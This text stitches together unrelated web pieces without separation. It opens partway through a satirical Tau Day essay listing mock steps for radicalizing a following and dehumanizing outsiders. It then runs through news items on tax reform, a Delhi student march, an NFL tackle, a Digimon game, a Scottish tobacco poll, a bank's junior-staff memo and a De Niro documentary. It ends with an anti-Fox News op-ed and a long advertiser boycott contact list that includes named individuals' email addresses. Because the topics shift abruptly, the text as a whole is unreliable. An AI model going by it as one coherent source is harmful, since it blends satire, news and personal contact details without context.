Of course, it’s not my fault if someone I’ve radicalized goes overboard and does something radical, but when the pi people unfairly blame me that just gives my followers more reasons to righteously defend me. They have to defend me, I’m all they got.
As our actions escalate our fake enemies become real enemies, confirming everything I drilled into my follower’s heads about how universally hated they are while still keeping the flavor that we are unfairly prosecuted.
Step 6: The enemy’s beliefs and feelings can be completely dismissed.
Make up a catchy story about how the outsiders don’t actually even really believe their own beliefs. Fake intellectuals pretend to like pi to sound smart. They’re just copying what they’re told, or are just being Pi-litically correct, and if they stopped being lazy and learned some math they’d agree with us.
The extreme of this is to make your followers believe that others don’t even feel what they claim to feel. They are just pretending to feel wronged for sympathy, they’re trying to look good to other Pi people, or feel pressured to conform, they might be paid actors, but they definitely don’t feel what they say they do. Shed some crocodile tears of your own just to make it clear that we don’t have to believe them any more than they believe us.
It’s not about whether your dismissive rhetoric is true, so don’t get distracted by trying to find out if they’re actually being paid or would actually agree with you if they knew more math. That’s not the point, the point is to give your followers tools to justify thinking they know better than random strangers about those random stranger’s own inner life. And in fiction, you can know other people’s feelings better than they do, because they’re not real people, they’re characters in our story. This is a big important step past the line into dehumanizing others.
Step 7: Benevolent Dictatorship
It’s not just about pi vs tau anymore, it’s about right vs wrong and who’s going to run things when clearly certain folks can’t even be honest with themselves about how terrible pi is, and honestly it’s pretty magnanimous of us to do this for them considering how much they hate us and how ungrateful they are but we forgive them and will send them to reeducation camps to learn about tau, yes it’s a joke at first but watch how we get used to the idea.
Soon everyone will forget how to drop the rhetoric and just look at the actual actions people are doing and the results of those actions in reality.
You know what step we don’t need? Leverage the algorithms. You’re already doing it. If you’re a space on the ouija board that some group’s collective worst instincts hopes their planky will land on, whether to agree with you or make you a villain, systems exist to find you and add you to their story. Which is great because your story relies on being other people’s villain and planky’s got it covered! It’s no one’s fault, we just all secretly asked for permission to hate each other and somehow all signs point to yes. Did you move it? I didn’t move it.
Anyway. That’s my 7 steps to ruining everything. Now don’t forget to apply your media literacy skills. How much do these steps really apply to everything? Did I kinda just make em up? But maybe I’m really good at makin up true stuff cuz thats a mathematician’s job description. Or maybe I’m just trying to sell shirts.
Actually, I should totally sell shirts, yep, they’re real now, proclaim your loyalty in fun summer styles, available for pre-order for just the next few days and they’ll ship mid-july. What better conversation starter about the joy of mathematics and how to radicalize a following to create global chaos. The green one has it printed on the back so you can pop on a blazer in the evening for a more formal look. All proceeds go to the supreme triangle who loves us.
So happy Tau Day, it’s not just me that loves you, the world is full of people who love you and want you to be happy, whether or not you’ve found them yet. Admittedly it might be a little harder to find those people if you’re ok with hurting others to get what you want but no one said life is easy.
Enjoy your Tau Day, I hope it is double good! Tau is greater than pi! It’s not political if it’s a fact, right? wait what now?
At an event hosted by the Institute of International Finance, Mnuchin said that he hopes tax reform "won't take until the end of the year."
Mnuchin's comments, though, come after he told the Financial Times in an interview Monday that enacting tax-reform legislation by August is “highly aggressive to not realistic."
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One reason why the timeline for tax reform has been slipping is because of there have been challenges with repealing and replacing ObamaCare. The White House and congressional Republicans have sought to tackle healthcare before tax reform because it could make tax reform easier if ObamaCare's taxes are repealed in a healthcare bill.
Mnuchin said Thursday that the administration will work to achieve tax reform “whether healthcare gets done or healthcare doesn’t get done." He said that the White House would consider repealing some of the ObamaCare taxes in tax reform if a healthcare bill isn't passed.
The Treasury secretary said he's been meeting with House and Senate taxwriters on a weekly basis since he was confirmed. He said that the White House and congressional Republicans are in agreement that tax reform needs to involve simplifying personal income taxes and making the business tax system more competitive.
Mnuchin said that the White House tax-reform plan "will pay for itself with growth.” He said that lowering tax rates would be paid for in part by curbing deductions but mostly through economic growth.
He also said that making businesses more competitive and simplifying taxes for individuals are issues where there should be areas of agreement between Democrats and Republicans.
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Students from across universities and colleges — from Miranda House to JNU, Jamia Millia Islamia to Ambedkar University — took part in the protest, which also saw huge support for their fellow student Gurmehar Kaur.
Prashant Mukherjee from SFI said, “This march is against the attack by ABVP-RSS and it will continue when we march to Parliament on March 4. This is not a fight of Left vs Right, but of the entire university and the presence of common students here today has proved that.”
There were more than a few tense moments as students and teachers, surrounded on all sides by hundreds of police personnel, walked from SGTB Khalsa College to the Arts Faculty. JNU student Umar Khalid, however, was conspicuous by his absence.
Several politicians, including Sitaram Yechury, Yogendra Yadav, Pankaj Pushkar, D Raja and K C Tyagi addressed students at the Arts Faculty, as did former JNUSU president Kanhaiya Kumar.
However, it was the presence of first-time protesters — and not seasoned activists — which took many by surprise. Most spoke out against “gundagardi” on campus.
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Chad Clifton was one of the best left tackles in the NFL for the Packers in his prime, but he is a shell of what he used to be due to injuries. Last season, he struggled mightily in pass protection and age and injuries are catching up to him. He has missed considerable chunks of time due to injuries, and he is 36 years old. He isn’t a terrible player by any means, but he isn’t a starting-caliber tackle anymore. But of course, the Pats won’t be asking him to do that.
PlayStation 4 version launching in Japan as well as in the west.
Bandai Namco has launched the official Japanese website for the PlayStation 4 version of Digimon World: Next Order, which is called Digimon World: Next Order International Edition in Japan.
The website currently contains an About page introducing the new features of the PlayStation 4 version, including better graphics, game balance adjustments, 12 new Digimon to train, and approximately 30 new story events.
Bandai Namco also confirmed that the 12 new Digimon added to the PlayStation 4 version will be added to the PS Vita version in Japan via a free update.
Digimon World: Next Order is due out for PlayStation 4 in North America and Europe in early 2017, and in Japan in 2017.
Anti-smoking charity Ash Scotland has claimed public backing for a crackdown on under-age tobacco sales.
It has published an opinion poll indicating that 87% of people in Scotland believe retailers should lose the right to sell cigarettes if they have repeatedly served under-18s.
The measure was part of Scottish legislation passed in 2010.
The same poll found that 67% of respondents backed a registration scheme for shops selling tobacco.
The poll, conducted by YouGov, asked 1,021 adults for their opinions on suspending the right to sell tobacco for businesses found to have sold or supplied tobacco to under-18s more than once.
It found that 87% supported the policy, with only 4% opposing it.
A clear majority of those taking part also backed a registration scheme to help local authorities enforce the law.
Lethal and addictive
Sheila Duffy, the chief executive of Ash Scotland, said: "Retailers who sell tobacco to children can now be subject to a fixed penalty fine and, if they consistently sell cigarettes to minors, can face a ban.
"Evidence shows the younger you start smoking, the more harm is done to your health and the harder it is to quit.
"It therefore makes sense that a lethal and addictive product like tobacco that is only available to adults should be subject to regulation."
Ash cited academic research indicating that 15,000 young people start smoking in Scotland each year.
It said the number of deaths attributable to smoking each year is in excess of 13,000.
As David Solomon discussed at last week’s Americas IBD Townhall, several initiatives are being rolled out over the next few weeks/months that are designed to improve the junior banker experience. We are committed to implementing these initiatives to better enable our junior bankers to have successful and sustainable long term careers at the firm. We have summarized the key initiatives below.
Please note that the Saturday rule begins this weekend.
Please let your BUL/BUM know if you have staffing needs that require your junior banker(s) to be in the office from Friday 9PM through Sunday 9AM. Going forward, please make sure you notify the BUL/BUM by 9AM on Friday mornings.
· All analysts and associates are required to be out of the office from 9PM on Friday until 9AM on Sunday (begins this weekend)
If a junior banker needs a cultural, personal or religious exception to the Saturday rule (i.e. would like Sunday off instead) please post your BUL/BUM by 9am on Fridays
If a team needs a professional exception to the Saturday rule (i.e. a junior banker needs to work on Saturday and/or the entire weekend), please email your BUL/BUM by 9AM on Friday for approval. Please cc the team and state the business critical reason for the junior banker needing to work Saturday.
· Exceptions will not be the norm and should be used sparingly
· Exceptions will be tracked and reported to Exec Comm on a quarterly basis
Work should not shift from office to home: junior bankers are not expected to log in from home and work. Junior bankers are still expected to check their blackberries on a regular basis over the weekend. The expectation is that work will not be assigned on Saturday to be completed Saturday.
· All analysts and associates are expected, and will be strongly encouraged, to take 3 weeks of vacation a year:
This should include at least one, but preferably two, protected one-week vacations
Vacations will be tracked and reported on a quarterly basis
Actor Robert De Niro on Friday night screened a documentary about his artist-father for political leaders on the left and right and was brought to tears in talking about the soon-to-air HBO film.
House Minority Leader Nancy Pelosi (D-Calif.), House Majority Whip Kevin McCarthy (R-Calif.) and Motion Picture Association of America CEO and former Sen. Chris Dodd (D-Conn.) were among the nearly 200 guests in attendance for a panel and screening of the upcoming documentary. The event was at D.C.’s Long View Gallery and was hosted by HBO and POLITICO ahead of Saturday’s White House Correspondents’ Dinner.
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The documentary, “Remembering the Artist: Robert De Niro, Sr.,” debuted at the Sundance Film Festival in January and airs on HBO next month.
( PHOTOS: Cocktails and Conversation with Robert De Niro)
After the film was screened for those in attendance, De Niro, a two-time Academy Award-winning actor, teared up as a panel discussion began with POLITICO’s Chief White House correspondent Mike Allen. The actor’s father died in 1993 on his 71st birthday.
De Niro, Jr. was interviewed for the documentary, which he said was spurred out of an “obligation” to give his father his due as an artist. He was joined in the panel discussion by the film’s two producers, Perri Peltz and Geeta Gandbhir.
De Niro, Sr. was an abstract expressionist painter whose once-well-respected paintings fell out of fashion in the 1960s during the rise of the Pop Art movement. The 40-minute film centered on his art, his struggle for recognition and the father-son relationship between the two men.
The movie opened with De Niro, Jr. calling his father “the real thing” as an artist and describing him as a “very loving father.”
The film’s producers both said they were honored to be a part of the project. “It’s been a privilege to tell a story about Bob’s father,” Peltz said, calling De Niro, Sr., “an artist’s artist.” Gandbhir said the film, in addition to being a character study, also served as a “capsule of American history,” chronicling a crucial time in the 1940s and ’50s when the art world shifted from Europe to the U.S.
Other notable attendees at the event included Dan Glickman, former Democratic congressman from Kansas and former MPAA CEO, and documentary filmmaker Morgan Spurlock.
CORRECTION: This article has been updated to correct the name of the movie.
A favorite tactic of devoted, vocal Conservatives is that they claim they are just exercising their right to free speech and that Progressive Liberal Democrats don’t want to hear “both sides.”
Coming to Town Hall meetings and shouting down others or disrupting with catcalls or hoots of derision is not discussing “both sides.” Nor is it Free Speech. It’s like “Free Noise;” like calling “Fox News,” “Fox Noise.”
For instance, what is the other side to Obama not being born in America? Say what you want, but come on “birthers,” there is no other side to that issue which you want to “debate.” Ditto for “deathers.” These Conservative folk are trying to scare seniors into believing that discussing end-of-life health care directives with your doctor is tantamount to being grilled by a “death panel” of faceless bureaucrats. How can that be discussed? The real emphasis needs to be on giving seniors and doctors the time necessary to discuss actual details of “right-to-die” issues, not the legitimacy of Sarah Palin’s claim that the government is forming “death panels” or that seniors will be given a deadly compound like the fictional “soylent green.”
Discussion is precluded. And for Conservatives, no discussion means their scare tactics win.
While, during any given hour, there are distorted statements and reports emanating from Fox News, some of the most dangerous ones are actually examples of hate speech and incitement to violence:
6/30/09 Glenn Beck agreed with guest who urged bin Laden to attack U.S. with nuclear weapons.
7/25/09 Neil Cavuto and guest said health care reform will impose universal euthanasia like “Soylent Green.”
7/28/09 Glenn Beck said “The President has exposed himself as a guy…who has a deep-seated hatred for white people…or the white culture…This man is a racist.”
8/6/09 Glenn Beck “joked” about giving Speaker Pelosi a glass of wine with poison.
Where is the “other side” of those issues? There isn’t any. This is truly incitement and fear mongering.
Complaining to Fox News, or even CNN about Lou Dobbs, for instance, does not always seem productive. Boycotting sponsors/advertisers seems a stronger way to protest. For instance, recent reports show that some leading companies, after learning of consumer boycott action, have already ended their Fox News advertising. They are: Campbell Soup, Chrysler, General Motors, Kellogg, Kraft Foods, Lawyers.com, Nestle, Pfizer, Proctor & Gamble, Progressive Insurance and Walmart.
Carl Matthes
Following is a list of Fox News advertisers as of August 2009 as compiled by www.FoxNewsBoycott.com:
1-800-PetMeds
1441 SW 29th Ave
Pompano Beach, FL. 33069
1-800-PetMeds® (1-800-738-6337)
customerservice@1800petmeds.com
Corporate@1800petmeds.com
24 Hour Fitness
PO Box 2689
Carlsbad, CA 92018
https://www.24hourfitness.com/ContactUsFeedbackClub.do
60 Plus
515 King Street, Suite 315
Alexandria, Virginia 22314
(703) 807-2073 fax
info@60plus.org
https://60plus.org/contact.asp
AARP
601 E Street N.W.
Washington, DC 20049
1-888-OUR-AARP
(1-888-687-2277)c https://www.aarp.org/aarp/contact_aarp1/
Accu Chek Aviva (Roche Diagnostics)
or 1-317-690-9288,
CONTACT: Lori LeRoy
lori.leroy@roche.com
Acura
1919 Torrance Blvd. M/S 500-2N7E
Torrance, CA 90501-2746
Fax: (310) 783-3535
https://www.acura.com/ClientServices.aspx
Adobe
345 Park Avenue
San Jose, California 95110-2704
Fax: 408-537-6000
https://www.adobe.com/aboutadobe/contact.html
Advair
GlaxoSmithKline
https://www.advair.com
ADT Security Services, Inc. (Tyco)
Ann Lindstrom
alindstrom@adt.com
https://adt.com/wps/portal/adt/contact/?wgc=resi-request-info
Aflac
1932 Wynnton Road
Columbus, GA 31999
Fax: 1-800-448-8922
https://www.aflac.com/us/en/Default.aspx
Ally Bank
P.O. Box 951
Horsham, PA 19044
or 1-917-369-2364
customerservice@ally.com
https://chat.ally.com/hc/LPallychat/?cmd=file&file=visitorWantsToChat&site=LPallychat&byhref=1&SESSIONVAR!skill=general-service-english
American Express
World Financial Center
200 Vesey Street
New York, NY 10285
Media Contacts:
joanna.g.lambert@aexp.com
mike.o’neill@aexp.com
https://home3.americanexpress.com/corp/pc/2009/pubeq09.asp
https://www10.americanexpress.com/sif/cda/page/0,1641,24679,00.asp?referrer=ushome§ion=topnav
American Movie Channel
11 Penn Plaza, 15th Floor
New York, NY 10001
https://www.amctv.com/contact.html
Ameriquest Mortgage
1100 Town and Country Rd.
Orange, CA 92868
https://www.ameriquestmortgage.com/contact.html?ad=ameriquest.com#form
Apple
Public Relations
media.help@apple.com
sjobs@apple.com
dowling@apple.com
https://www.apple.com/contact/
Aricept
Eisai Co., Ltd.
100 Tice Blvd.
Woodcliff Lake, New Jersey 07677
1-866-4-Aricept
https://www.Aricept.com
Astra Zeneca
21700 Oxnard Street, Suite 300
Woodland Hills, CA 91367
https://astrazeneca.com/node/emailtriage.aspx
AT & T
32 Avenue of the Americans
New York, NY 10013-2412
National Broadcast Media
Susan Bean
sbean@attnews.us
Avaya
211 Mt. Airy Road
Basking Ridge, NJ 07920
lynnnewman@avaya.com
Avodart
GlaxoSmithKline
https://www.avodart.com
Bankrate.com *
500 US Highway 1
North Palm Beach, FL 33408
https://www.bankrate.com/coinfo/webmasteremail.asp
Bayer
100 Bayer Road
Pittsburgh, PA 15205-9741
https://www.bayerus.com/contact/i_email.html
Best Buy
P.O. Box 9312
Minneapolis , MN 55440
1-888-BEST BUY (1-888-237-8289)
https://www.bestbuy.com/site/olspage.jsp?id=cat12104&type=page
Black & Decker
626 Hanover Pike
Hampstead, MD 21074 USA
https://www.blackanddecker.com/CustomerService/contactus.aspx
BMW
300 Chestnut Ridge Rd.
Woodcliff Lake, NJ 07675
Phone: 201-307-4000
Fax: (201) 307-4095
gabriella.molteni@bmwna.com
https://www.bmwusa.com/Standard/Content/ContactUs/
Boeing
100 North Riverside
Chicago, IL 60606
wwwmail.boeing2@boeing.com
https://www.boeing.com/contactus.html
Boniva
Roche Laboratories Inc.
340 Kingsland Street
Nutley, New Jersey 07110
https://www.rocheusa.com/contact.html
Bridgestone Tires
535 Marriott Drive
P.O. Box 140990
Nashville, TN 37214-0990
Phone: 615-937-1000
Corporate Directory: 1-800-543-7522
https://www.bridgestonetire.com/Index_BS_EN.aspx?src=contact
Brita Filter
U.S. Headquarters
Brita LP
1221 Broadway
Oakland, CA 94612
1-800-24-BRITA (US)
or 1-800-387-6940 (Canada)
Broadview Security
8880 Esters Blvd
Irving, TX 75063
https://www.broadviewsecurity-home.com/contactus.htm
Buick
P.O. Box 33136
Detroit, MI 48232-5136
https://www.buick.com/pages/mds/helpcenter/contactUs.do
Bristol-Meyers
345 Park Ave.
New York, NY 10154-0037
info@bristolmeyers.com
Burlington Coat Factory
1830 Route 130
Burlington,NJ 08016
https://www.coat.com/contact/webform1.shtml
Cadillac
P. O. Box 33169
Detroit, MI 48232-5169
https://www.cadillac.com/cadillacjsp/footer/contact_us.jsp
Campbell Soup
Chairman: Harvey Golub
President, CEO, and Director: Douglas R. Conant
SVP, CFO, and Chief Administrative Officer: B. Craig Owens
Campbell Soup Company
1 Campbell Place
Camden, NJ 08103-1799
NJ Tel. 856-342-4800
Toll Free 800-257-8443
Fax 856-342-3878
Capital One Services, Inc.
P.O. Box 85565
Richmond VA 23285
investor.relations@capitalone.com
https://www.capitalone.com/
Capzasin
Chattem, Inc.
1715 W 38th St
Chattanooga, TN 37409
P.O. Box 2219
Chattanooga, TN 37409-0219
customer_relations@chattem.com
https://www.chattem.com/contactus.asp
CarsDirect.com *
909 North Sepulveda Blvd. 11th Floor
El Segundo, CA. 90245
1.888.CarsDirect
advisor@carsdirect.com
https://www.carsdirect.com/the_company/contact_us
CDW
200 North Milwaukee Avenue
Vernon Hills, IL 60061
https://www.cdw.com/shop/tools/composeemail/sendcorporate.asp?mailboxID=4
Celebrity Cruises
1080 Caribbean Way
Miami, FL 33132
https://secure.celebrity.com/contactus/custSvcsForm.do;jsessionid=00001zO9spn5954xC03mTdB9w17:1028etmk3
Centrum
Wyeth Consumer Healthcare
PO Box 26609
Richmond, VA 23261-6609
CheapTickets.com
7 Sylvan Way
Parsippany, NJ 07054
https://www.cheaptickets.com/trs/cheaptickets/content/about_us/contact_us.xsl?suggestion-box-mode=&
Chemistry.com
Match.com, L.L.C.
P.O. Box 25458
Dallas TX 75225
1-866-610-MEET
https://chemistry.com/help/contactform.aspx
Chevrolet
P.O. Box 33170
Detroit, MI 48232-5170
https://www.chevrolet.com/helpcenter/contactus/
Choice Hotels
10750 Columbia Pike
Silver Spring, MD, 20901
https://www.choicehotels.com/ires/en-US/html/CorporateContacts?sid=aSFRM.qZqSSgG1sM.9
Chrysler
Chairman: C. Robert (Bob) Kidder
CEO and Director: Sergio Marchionne
SVP and CFO: Ronald E. Kolka
P.O. Box 21-8004
Auburn Hills, MI 48321-8004
1000 Chrysler Dr.
Auburn Hills, MI 48326-2766
MI Tel. 248-576-5741
https://www-5.chrysler.com/webselfservice/chrysler/index.jsp?screenName=customer&country=us&emailUrl=goToEmailForm(%27R%27)
Cingular
Glenridge Highlands Two
5565 Glenridge Connector
Atlanta, GA 30342
olinesrv@attwsbw.entp.attws.com
Clairol
1-800-CLAIROL (1-800-252-4765)
https://clairol.com/ask-clairol/email-us.jsp
Comcast
One Comcast Center
Philadelphia, PA 19103
1-800-COMCAST (1-800-266-2278)
esl_corp@cable.comcast.com
https://www.comcast.com/Corporate/Customers/contactus/ContactUs.html
ComData
5301 Maryland Way
Brentwood, TN 37027-5028
1-800-COMDATA (1-800-266-3282)
https://www.comdata.com/forms/contact/contact_us_email_contact.php
Community Financial Services Association of America
515 King Street, Suite 300
Alexandria, VA 22314
Phone: 703-684-1029
Fax: 703-684-1219
cfsa@multistate.com
Conservatives for Patients’ Rights
700 12th Street, NW, Suite 700
Washington, DC 20005
877–330–4CPR
Brian Burgess
https://www.cprights.org/contact.php
Crest Whitestrips
The Procter & Gamble Company
1 or 2, Procter & Gamble Plaza
Cincinnati, OH 45201
https://crest.custhelp.com/cgi-bin/crest.cfg/php/enduser/ask.php
Cylapril
Adrenal Fatigue Institute, Inc.
931 Village Blvd Ste 905-75
West Palm Beach, FL 33409
info@adrenalfatigueinstitute.com
https://www.cylapril.com/CustomerService.dtm
Dawn
The Procter & Gamble Company
1 or 2, Procter & Gamble Plaza
Cincinnati, OH 45201
https://www.dawn-dish.com/en_US/customersupport.do
Dannon
P.O. Box 90296
Allentown, PA 18109-0296
1-877-DANNONUS (1-877-326-6668)
https://www.dannon.com/contact.aspx
Dell
One Dell Way
Round Rock, TX
https://support.dell.com/support/index.aspx?s=gen
Delphi
5725 Delphi Drive
Troy, Michigan 48098-2815
Fax: (248) 813-2673
https://shopdelphi.com/contact/addresses/
Dickensons Witch Hazel *
Dickinson Brands Inc.
31 East High Street
East Hampton, CT 06424
https://www.dickinsonbrands.com/contact.htm
Direct TV
P.O. Box 92600
Los Angeles, CA 90009
https://directtv.com/DTVAPP/glb/Form_Feedback.jsp
Ditech *
3200 Park Center Drive, Suite 150
Costa Mesa, CA 92626
Ditech.com 1-800-DITECH-3
https://ditech.com/faqs/contactus.html
Dodge
P.O. Box 21-8004
Auburn Hills, MI 48321-8004
https://www.dodge.com/wccsapp/universal/D/index.jsp?appStr=wccs&titleStr=Contact+Dodge&familyStr=brand&franchise=D&actionURL=%2Fwccs%2Fbrand_forms%2Fus%2Fwebform.jsp&promotion=null&category=U
Dr. Blaines *
Blaine Labs
11037 Lockport Place
Santa Fe Springs, CA 90670
Phone: 562-906-4477 / 800-307-8818
Fax: 562-906-4467
Sales@BlaineLabs.com
https://www.drblaines.com/contact_us.php
Duracell (Procter & Gamble)
Berkshire Corporate Park
Bethel, CT 06801 U.S.A.
Fax: 1-800-796-4565
https://pggillette.custhelp.com/cgi-bin/pggillette.cfg/php/enduser/std_alp.php?p_pv=1.333&p_prods=333&prod_lvl1=333
Earthlink
1375 Peachtree Street
Atlanta, GA 30309
presslink@earthlink.net
https://www.earthlink.net/about/contact/
Edward Jones Investments
P.O. Box 66906
St. Louis, MO 63166-6909
https://www.edwardjones.com/cgi/getHTML.cgi?page=/USA/email/webmaster_usa.html
Eloan.com
6230 Stoneridge Mall Road
Pleasanton, CA 94588
Fax: (925) 847-0831
https://www.eloan.com/s/show/contact?linksrc=hp_bottomnav_contact&sid=NKLrNIEqXtJ6iVTU3beldRU9c-0&user=&mcode=
Enova
c/o ADM KAO LLC
4666 Faries Parkway
Decatur, IL 62526
https://enovaoil.com/about/contact.asp
Fidelity Investments
82 Devonshire Street
Boston, MA 02109-3614
https://personal.fidelity.com/accounts/services/content/sendemailoptions_frame.shtml
Florida Department of Citrus Headquarters
P.O. Box 148
Lakeland, FL 33802
https://floridajuice.com/contact.php
Ford
P.O. Box 6248
Dearborn, MI 48126
https://www.ford.com/owner-services/customer-support/contact-ford
Forex.com
US Headquarters:
44 Wall Street, 7th Floor
New York, New York 10005
Corporate Headquaters:
GAIN Capital Group
550 Hills Drive
Bedminster, NJ 07921-1539
(contact#, not headquarters) 1.877.367.3946
info@forex.com
https://www.forex.com/contact_us.html
Franklin Templeton Investments
West Coast:
P.O. Box 997152
Sacramento, CA 95899-7152
East Coast:
P.O. Box 33030
St. Petersburg, FL 33733-8030
https://www.franklintempleton.com/retail/jsp_cm/global_nav/contact_us/pub/contactus_main_pub.jsp
Garlique
Chattem, Inc.
1715 W 38th St,
Chattanooga, TN 37409
P.O. Box 2219
Chattanooga, TN 37409-0219
customer_relations@chattem.com
https://www.chattem.com/contactus.asp
General Motors
Chairman: Edward E. (Ed) Whitacre Jr.
President, CEO, and Director: Frederick A. (Fritz) Henderson
EVP and CFO: Ray G. Young
300 Renaissance Center
Detroit, MI 48265-3000
Contact Media Relations at 888-436-6687 (h/t sueroegge)
MI Tel. 313-556-5000
https://www.gm.com/utilities/contact_us/contact.jsp?deep=form&advertising
Gold Bond
Chattem, Inc.
1715 W 38th St,
Chattanooga, TN 37409
P.O. Box 2219
Chattanooga, TN 37409-0219
customer_relations@chattem.com
https://www.chattem.com/contactus.asp
Golden Corral
5151 Glenwood Ave
Raleigh, NC 27612
Goldline International, Inc.
1601 Cloverfield Boulevard
100 South Tower
Santa Monica, CA 90404
Phone: 1-877-376-2646
Fax: 1-310-319-0265
info@goldline.com
https://www.goldline.com/about-goldline/contact-goldline.html
GMC
P.O. BOX 33172
Detroit, MI 48232-5172
https://www.gmc.com/helpcenter/index.jsp?activeTab=CU
HealthMart Pharmacy
One Post Street
San Francisco, CA 94104
https://www.healthmart.com/about-contactus.php
Healthy Choice (Conagra Foods)
Corporate Headquarters
ConAgra Foods Inc.
One ConAgra Drive
The Hertz Corporation
225 Brae Boulevard
Park Ridge, NJ 07656
investorrelations@hertz.com
Holiday Inn Express
InterContinental Hotels Groups
3 Ravinia Drive Suite 100
Atlanta GA 30346-2149
https://www.ihgplc.com/index.asp?pageid=11
hotels.com (Expedia,Inc.)
1-800-2hotels
mktgopp@expedia.com
https://overview.expediainc.com/phoenix.zhtml?c=190013&p=irol-contactpr
Hewlett-Packard
3000 Hanover Street
Palo Alto, CA 94304-1185
Phone: (650) 857-1501
Fax: (650) 857-5518
https://welcome.hp.com/country/us/en/contact/office_locs.html
HSBC Life Insurance
Headquarters (Mettawa, IL)
Public Affairs (New York, NY)
https://www.hsbcusa.com/hsbcusa/abouthsbc/contacthsbc.html?WT.svl=100
Hula Networks
340 East Middlefield Rd.
Mountain View, CA 94043
https://www.hulanetworks.com/contact.html
Hummer
General Motors Corporation
P.O. Box 33170
Detroit, MI 48232-5170
1-800-REAL-4WD (1-800-732-5493)
https://www.hummer.com/hummerjsp/contact/email/index.jsp
Hyatt Corporation
200 W Madison St, 30th Fl.
Chicago, IL 60606-3413
https://www.hyatt.com/corporate/contact/email.jhtml?ssnav=0&pg=contact
Hyundai
P.O. Box 20850
Fountain Valley, CA 92728-0850
Phone : (800) 633-5151
Fax : (801) 736-3561
https://www.hyundaiusa.com/global/contactus/main.aspx
IAMS
The Procter & Gamble Company
One Procter & Gamble Plaza
Cincinnati, Ohio 45202
https://www.iams.com/iams/en_US/jsp/IAMS_Page.jsp?pageID=EUN&_requestid=1816014
Infiniti
P.O. Box 191
Gardena, CA 90248
https://www.infiniti.com/form/0,,action-IContactUs,00.html
Intel
2200 Mission College Blvd.
Santa Clara, CA 95054-1549
https://www.intel.com/feedback.htm?iid=ftr+contact
Jeep / Daimler Chrysler
P.O. Box 21-8004
Auburn Hills, MI 48321-8004
Fax: (248) 512 2912
https://www.jeep.com/wccsapp/universal/J/index.jsp?appStr=wccs&titleStr=Contact+Jeep&familyStr=brand&franchise=J&actionURL=%2Fwccs%2Fbrand_forms%2Fus%2Fwebform.jsp&promotion=null&category=U
Finish Jet Dry (Dishwasher Products)
https://www.finishdishwashing.com/contact-form1.php
John H. Daniel, Custom Tailors
120 W. Jackson Avenue
Knoxville, TN 37902
Fax: (865) 523-6435
jhd@johnhdaniel.com
Kellogg Company
Chairman: James M. (Jim) Jenness
President, CEO, and Director: A. D. David Mackay
EVP, COO, and CFO: John A. Bryant
1 Kellogg Sq.
Battle Creek, MI 49016-3599
Contact media at 800-323-0768 (h/t sueroegge)
MI Tel. 269-961-2000
Toll Free 800-962-1413
Fax 269-961-2871
https://www.kelloggcompany.com/contactus.aspx
Kraft Foods Inc.
Chairman and CEO: Irene B. Rosenfeld
EVP Operations and Business Services: David A. (Dave) Brearton
EVP and CFO: Timothy R. (Tim) McLevish
3 Lakes Dr.
Northfield, IL 60093
IL Tel. 847-646-2000
Fax 847-646-6005
https://www.kraftfoodscompany.com/Contacts/contact-us.aspx
L. L. Bean
Freeport, ME 04033-0001
Fax: 207-552-3080
https://www.llbean.com/customerService/contactUs/contactUsPhone.html
Laurie Azzano
Public Relations: 415-786-3317
laurie@cosmo-pr.com
Lee Majors Rechargeable Bionic Hearing Aid
PO Box 2259
Virginia Beach, VA 23450-2259
https://www.hearingaidtv.com/
https://www.hearingaidtv.com/customerservice.asp
Lending Tree
11115 Rushmore Drive
Charlotte, NC 28277
https://www.lendingtree.com/about-us/contact-us/
LensCrafters, Inc.
4000 Luxottica Place
Mason, OH 45040
https://www.lenscrafters.com/webapp/wcs/stores/servlet/Footer|-1|11151|10051|/LensCrafters/Lens_US/Footer/About/LensCrafters_Footer_About_Contact_Us
Lexus
P.O. Box 2991 – Mail Drop L201
Torrance, CA 90509-2991
Phone: 1-800-255-3987
Fax: 1-310-468-2992
https://www.lexus.com/contact/
Liberty Mutual Insurance
Liberty Mutual Group, Inc.
175 Berkeley Street
Boston, Massachusetts 02116
https://www.libertymutualgroup.com/omapps/ContentServer?pagename=LMGroup/Views/LMG&ft=3&fid=1138357124082&ln=en
Lincoln-Mercury
P.O. Box 1304
Dearborn, MI 48121
https://www.customersaskford.com/Kate/crc_frame.asp?launchsite=mercury
Lipitor (Pfizer, Inc.)
235 East 42nd Street
NY, NY 10017
https://www.pfizer.com/contact/mail_general.jsp
Lowe’s
Hwy 268 East P.O. Box 111
North Wilkesboro, NC 28656-0001
investorrelations@lowes.com
Lunesta
Sepracor Corporate Headquarters
84 Waterford Drive
Marlborough, MA 01752
info@sepracor.com
Men’s Wearhouse
Customer Relations
6380 Rogerdale Rd
Houston, TX 77072
Fax us at: 281-776-7038
https://www.menswearhouse.com/webapp/wcs/stores/servlet/ContactUs_-1_10601_10051_10721_10652_10652#email
Mercedes-Benz
3 Mercedes Dr.
Montvale, N.J. 07645
https://www.mbusa.com/mercedes/#/contactusOverview/
Metastock
1740 S 300 West #10
Clearfield, UT, 84015-3575
6810 – 104 St.
Edmonton, AB, Canada
T6H 2L6
Fax: 801-705-3150
Toll Free: 1-877-386-3763
Direct: 1-780-430-6240
info@metastock.ca
https://www.metastock.ca/contact.aspx
Morgan Stanley
1585 Broadway, Floor 39
New York, NY 10036
https://www.morganstanleyindividual.com/customerservice/contactus/
Napster.com
c/o Roxio, Inc.
455 El Camino Real
Santa Clara, CA 95050
https://www.napster.com/feedback_form.html
National Collector’s Mint
Half Union Proof TV Offer
8 Slater St
Port Chester, NY 10573
Phone: 1-800-452-4381
cs@ncmintonline.com
https://www.fiftydollargold.com/
Nationwide Insurance *
Nationwide World Headquarters
One Nationwide Plaza
Columbus, OH 43215–2220
https://www.nationwide.com/contact-us.jsp
Nestlé USA, Inc.
Chairman and CEO: Brad Alford
SVP and CFO: Dan Stroud
GLOBE Executive and CIO: Kimberly (Kim) Lund
800 N. Brand Blvd.
Glendale, CA 91203
CA Tel. 818-549-6000
Toll Free 800-225-2270
Fax 818-549-6952
https://www.nestleusa.com/Public/ContactUs.aspx
Nexium (AstraZeneca)
US Corporate Headquarters
AstraZeneca Pharmaceuticals LP
1800 Concord Pike
P.O. Box 15437
Wilmington, DE 19850-5437
Phone: 1-302-886-3000
Phone: 1-800-456-3669
Nextel (aka Sprint)
KSOPHT0101-Z4300
6391 Sprint Parkway
Overland Park KS 66251-4300
https://search.sprint.com/inquiraapp/contact.jsp
Nissan
P.O. Box 685003
Franklin TN 37068-5003
(800) NISSAN-1 (800-647-7261)
https://www.nissanusa.com/apps/contactus
Office Depot
2200 Old Germantown Road
